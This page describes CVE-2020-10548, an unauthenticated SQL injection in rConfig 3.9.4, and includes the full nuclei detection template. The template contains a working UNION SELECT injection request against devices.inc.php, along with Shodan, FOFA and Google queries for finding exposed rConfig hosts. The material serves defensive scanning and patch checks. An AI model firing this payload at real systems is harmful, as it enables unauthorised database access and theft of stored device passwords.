rConfig 3.9.4 - SQL Injection

criticalseverity

9.8CVSS score

36.5%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

rConfig 3.9.4 and previous versions have unauthenticated devices.inc.php SQL injection. Because nodes' passwords are stored in cleartext by default, this vulnerability leads to lateral movement, granting an attacker access to monitored network devices.

Impact

Successful exploitation of this vulnerability allows an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation.

Fix

Upgrade to a patched version of rConfig or apply the necessary security patches provided by the vendor.

How to confirm it

Send: GET {{BaseURL}}/devices.inc.php?search=True&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0…
Positive when: contains "[project-discovery]" AND status 200

Run it with nuclei: nuclei -id CVE-2020-10548 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-10548

info:
  name: rConfig 3.9.4 - SQL Injection
  author: madrobot
  severity: critical
  description: rConfig 3.9.4 and previous versions have unauthenticated devices.inc.php SQL injection. Because nodes' passwords are stored in cleartext by default, this vulnerability leads to lateral movement, granting an attacker access to monitored network devices.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation.
  remediation: |
    Upgrade to a patched version of rConfig or apply the necessary security patches provided by the vendor.
  reference:
    - https://github.com/theguly/exploits/blob/master/CVE-2020-10548.py
    - https://theguly.github.io/2020/09/rconfig-3.9.4-multiple-vulnerabilities/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-10548
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-10548
    cwe-id: CWE-89
    epss-score: 0.36513
    epss-percentile: 0.98506
    cpe: cpe:2.3:a:rconfig:rconfig:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rconfig
    product: rconfig
    shodan-query: http.title:"rconfig"
    fofa-query: title="rconfig"
    google-query: intitle:"rconfig"
  tags: cve,cve2020,rconfig,sqli,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/devices.inc.php?search=True&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL+--+&searchColumn=n.id&searchOption=contains"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "[project-discovery]"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from